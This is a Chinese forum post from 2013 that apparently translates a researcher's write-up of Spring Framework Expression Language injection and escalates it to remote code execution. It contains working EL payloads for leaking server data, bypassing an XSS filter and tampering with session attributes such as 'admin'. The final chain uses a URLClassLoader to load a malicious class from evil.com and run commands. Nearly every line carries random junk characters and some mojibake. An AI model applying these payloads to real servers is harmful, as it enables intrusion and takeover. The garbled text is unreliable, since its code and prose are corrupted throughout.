找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with( E; i  y3 T! f6 R7 C
Expression Language Injection
( V& `+ X) d4 }' QSpring Framework脆弱性—DanAmodio- [5 \  U& J% A
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
. n/ ?' Y, I# _' o- q# n可能会存在风险。9 @7 Z# _: \9 S- D
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
8 ]' I9 b' T9 w% x8 ?Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可* i3 @6 [  Z6 g" |3 p& o2 e4 Y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,; j; i9 T$ G) U+ G8 u
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
/ Q4 |' J; n# |7 i: w& A6 e1 D版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。9 z3 J: b' p( A( g3 w1 H
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
1 t" O$ S; \7 G8 o$ A( f' N我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
( D7 W$ A' ^7 P$ P4 V% k" d本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
9 @+ Q- C) a3 r这些版本不支持禁用double EL resolution.6 I. |$ ?$ {" n8 G/ p) R
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含) ?; ]2 F, X1 h' z
EL2.2容器上可能进行远程代码执行。
7 {/ K, @( Y$ ]5 e% ?( b6 Q9 m这是一个原始信息泄露的攻击例子:, A4 y: x5 Z5 G" o
请求:8 \3 b" `& [. G
ttp://vulnerable.com/foo?message=${applicationScope}0 R& W" U8 A# f2 A2 E% X& i$ w  f$ w
到达以下内容页面:
1 {" y( q8 R/ {( N/ i结果将输出一些包含内部服务器信息calsspath 和本地工作目录1 x2 u8 }* f" n4 c7 ^7 c& Z8 f: F
你也可以做一些其他事情,如这样:7 A- g! t8 z0 a( l1 P
${9999+1}  F* i) G. {2 H4 Q/ F# Y8 V  }- K) O& F
还可以访问session 对象和beans; w! t: z# n* Q
${employee.lastName}1 s1 ^9 a) [; V0 M
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是8 U# r5 k! b$ X( b/ F: A' j
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
8 ^9 ^4 I2 ]8 l; ~) R9 t: [- b西,比如XSS.' c, L+ e4 ?. D: B1 i
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
, f/ F/ W$ a. e$ N$ f突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
* n( Q& `  |' K1 o3 W4 e& n呢?”
* {( Q" U& x* \0 B+ I因此,我尝试巳缦拢�% F+ ^. b" {' y  _, R9 A9 E
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
+ N, o) V8 H6 e$ F% f: w$ ?( S; ]P
2 y1 u1 b8 X% s$ ?, L( r我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
- k$ j+ ]( v5 c/ H回的文本被插入进了spring:message 标签。5 `% t) ^8 r- m7 D$ Z5 M
这里是一个最终绕过过滤的实例:; U& V( j! f. M" F0 a
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ. I( N  D" D/ W: U$ U  N# J
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为. B& _9 [  \2 E; L0 ]! a' h
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?5 z$ h+ j5 Y& n' T2 a  l/ m
经过一番研究,我学习到EL2.2 增加了方法调用。* _% e+ d. F: s. @5 E6 [
我写了一个快速测试应用程序代码并且检测一些功能
3 `7 J! W. s2 ?  A# E${pageContext.request.getSession().setAttribute(“account”,”123456″)}
+ R. w3 ]# L$ _/ A: {$ m${pageContext.request.getSession().setAttribute(“admin”,true)}
2 W. `7 w: R0 G, `5 k' ^好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
6 G- {, R6 ]! [6 K指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?' s$ N* _" [& i- o" s2 }
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
2 _+ n' x1 N& l5 g“, 1234)}
) H  w5 j# p' P+ L${“”.getClass().forName(“java.lang.Runtime”)}$ p. z$ q# x; B/ h
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不8 |& I$ e+ u  P% H1 H' X2 l" `& C
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函* Q8 \% x* i: R; d) A& @
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有1 d- s: x2 w3 p9 C
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
! H8 }) }# @) K& d方法签名invoke(Object obj, Object„ args)
" D; {! m. E8 bJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
, I! d& |2 z6 g; m0 U! O9 K0 I$ t' \题,以让它可以工作起来。
" \! L2 [9 V% z" N. w& N2 _漏洞利用:
6 j) q' i( \$ X! g5 H9 O7 H我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我, N- {! m* B1 m* @9 k
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
0 u- F+ f0 {; L( b这里有一些我试过的失败的用例,为了试图让它工作的用例:: O3 T. c4 T' M: Y, Z7 r+ L
 写文件到文件系统" v, E1 |: m! r0 U: B
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.& b6 e4 o3 h* v2 x0 b
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
# s( f* E9 Z) \2 q/ Z2 Z${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}* a+ \$ p5 M/ Q$ ?+ _. I
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
% t' J: |  @0 F/ F0 qorg.springframework.expression.spel.standard.SpelExpressionParser not found
' v- K/ q1 R% w! z; `" h  _by
; Y" d, x) k# R" Y5 W8 torg.glassfish.web.javax.servlet.jsp [194].+ s9 W9 M# z/ z
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public, V7 p4 i" [7 D5 o/ g7 `4 E4 o
 利用反射来创建一个新的Runtime(and watch the world burn)5 ]$ B$ y  X1 h' K
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
( T7 C1 k3 R1 W3 w(“java.lang.Runtime”)).getDeclaredConstructors()[0])}- _5 X/ T( S" x7 i# N- q1 i& R
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
4 {- V! b, H9 ^$ ~: m 使用java.lang.ProcessBuilder
# a1 }2 h! O  ?; C; J: Y6 I3 D7 \$ d 用表达式语言来评估表达式语言
2 f  E( h* A0 Z+ e0 w3 L: f& `& {Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.: P9 v4 @; z5 J6 n
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request# K4 t% n* W0 C5 {0 z# T2 q
“,”".getClass(),null)}4 M, m% R$ N7 q3 x7 Z3 p8 s6 i! l
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)% x3 g* k* E& g* \8 x
我在使用一个空数组通过Method.invoke()时失败了很多次" @+ A" N; @0 r$ j8 h2 l
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo2 \* u# ~: F  f4 P- E
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A* N9 q8 c! t- g, M8 P% ?
rrayList”).newInstance().toArray())6 M+ ?/ Z5 t0 k8 Q9 ^1 x
java.lang.IllegalArgumentException: wrong number of arguments$ z9 u$ N1 A* q" L
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
' j* c" c; H4 p9 E* S8 w! f$ S0 a以创建一个恶意class文件并且指向类装载器.
! ?; ^( T7 x. [- z5 J+ t4 X2 g我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
, a4 L+ O$ C4 r4 Apublic class Malicious {
) H( U& L8 F; u5 tpublic Malicious() {
6 Y) N3 G, H" y( Rtry {8 s) Z. {5 n! T/ l  Q0 r
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
0 e7 E: ^1 [6 _! P, h7 Njava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
3 O8 Q( P* Y6 {0 l% X2 s} catch (Exception e) {
' B2 m  L. ~* L+ L$ @( _}
4 v+ {6 Y" q; q3 ~& H, g1 n4 |- [+ x0 W}# j( |( I) T5 ]' N+ c5 |
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
9 [' `) T6 M9 T& K4 d+ N9 ~话中,因此它可以被使用.
8 N2 w! C7 f, g$ z${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
; p: H8 s: y9 a; ]; |: X% L(“java.util.ArrayList”).newInstance())}
8 D0 `% @: H2 \URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建+ B0 i( @3 C( o$ Q) C
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和, n" L5 N; w, e' c0 `  k0 c; P5 T/ M7 X
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
9 I, _2 C; ~: a: m0 T& h我们可以调用的create(string)方法,然后转换对一个URL对象。
# H2 Q  h1 i# A6 J${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
8 n& S1 D; ^- Were/malicious/classfile/is/located/”).toURL())}
( @; Q  e/ Y# d3 i然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
& z  |# b3 @6 ]0 @$ x' t/ J9 T) n7 U恶意类文件被装载并创建,触发远程代码.  U7 I  _% W6 Z$ c7 S
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
* U% G& z7 {$ f' L. cxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
" t* x% B% A( f- egetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance) D% Q  J# U; b- I
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表